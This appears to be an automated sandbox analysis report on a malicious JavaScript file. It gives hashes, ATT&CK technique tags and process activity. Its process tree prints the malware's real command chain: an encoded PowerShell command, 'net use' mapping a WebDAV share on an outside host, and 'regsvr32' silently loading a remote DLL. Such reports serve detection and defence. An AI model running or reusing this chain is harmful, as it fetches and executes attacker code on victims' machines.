2cfb470c0252f40847a7603acf9d3a1172149686282c3d47c36b1fafb000d801

Analysis

max time kernel
21s
max time network
18s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25/07/2024, 18:08

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General

Target

14346136251213330116.js
Size

19KB
MD5

02f07ca2656e7ddbdae19db39b607a1a
SHA1

e8fa3627b573e79e4485984f377b0e9b7173524d
SHA256

2cfb470c0252f40847a7603acf9d3a1172149686282c3d47c36b1fafb000d801
SHA512

ff207165a4bed030a14620a78c9b486e7c2f27764f2e1d48643058c41f62bb497826d12fe8881e9a01b38605f7ccb7563639d8e5fcc44850444e81b5f0c0f5cb
SSDEEP

384:hPt6ntB3FIWe+0RyX9OFpZcSPb4JZSDyGM:7EtteYB

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	688	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1756 wrote to memory of 688	1756	wscript.exe	30
PID 1756 wrote to memory of 688	1756	wscript.exe	30
PID 1756 wrote to memory of 688	1756	wscript.exe	30
PID 688 wrote to memory of 2896	688	powershell.exe	32
PID 688 wrote to memory of 2896	688	powershell.exe	32
PID 688 wrote to memory of 2896	688	powershell.exe	32
PID 688 wrote to memory of 2916	688	powershell.exe	33
PID 688 wrote to memory of 2916	688	powershell.exe	33
PID 688 wrote to memory of 2916	688	powershell.exe	33
PID 688 wrote to memory of 2916	688	powershell.exe	33
PID 688 wrote to memory of 2916	688	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\14346136251213330116.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADYAOAAyADQAMgAyADkANQAzADIANQA1ADQALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:688
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2896
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\26824229532554.dll
    3⤵
    PID:2916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/688-4-0x000007FEF50AE000-0x000007FEF50AF000-memory.dmp

Filesize
4KB

Download
memory/688-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/688-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/688-8-0x0000000002DDB000-0x0000000002E42000-memory.dmp

Filesize
412KB

Download
memory/688-7-0x0000000002DD4000-0x0000000002DD7000-memory.dmp

Filesize
12KB

Download
memory/688-9-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download
memory/688-10-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download